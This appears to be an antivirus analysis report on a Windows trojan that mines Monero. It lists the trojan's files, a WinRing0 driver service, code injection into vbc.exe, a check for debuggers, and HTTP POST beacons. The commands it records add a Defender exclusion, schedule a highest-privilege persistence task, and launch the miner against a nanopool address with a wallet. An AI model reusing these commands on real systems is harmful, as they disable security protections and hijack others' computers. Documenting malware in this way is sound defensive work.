Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\yhko
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe
Searches for windows to
detect analytical utilities:
- ClassName: 'OLLYDBG', WindowName: 'OllYDbg'
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\dlllib\yhko.exe
- %TEMP%\tmp690e.tmp.bat
- nul
- %ALLUSERSPROFILE%\screen.jpg
- %ALLUSERSPROFILE%\dlllib\uninstall.dat
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\dlllib\yhko.exe
- %ALLUSERSPROFILE%\dlllib\uninstall.dat
Network activity
Connects to
- '17#.#3.141.116':80
- 'xm#####.nanopool.org':14433
TCP
HTTP POST requests
- http://17#.#3.141.116/BEBRA.php
- http://17#.#3.141.116/DLIMSORRY.php
Other
- 'xm#####.nanopool.org':14433
UDP
- DNS ASK xm#####.nanopool.org
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\dlllib\yhko.exe'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "%ALLUSERSPROFILE%\dlllib\YHKO.exe"' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%'
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp690E.tmp.bat""
- '<SYSTEM32>\timeout.exe' 3
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "%ALLUSERSPROFILE%\dlllib\YHKO.exe"
- '<SYSTEM32>\schtasks.exe' /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "%ALLUSERSPROFILE%\dlllib\YHKO.exe"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\vbc.exe' -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
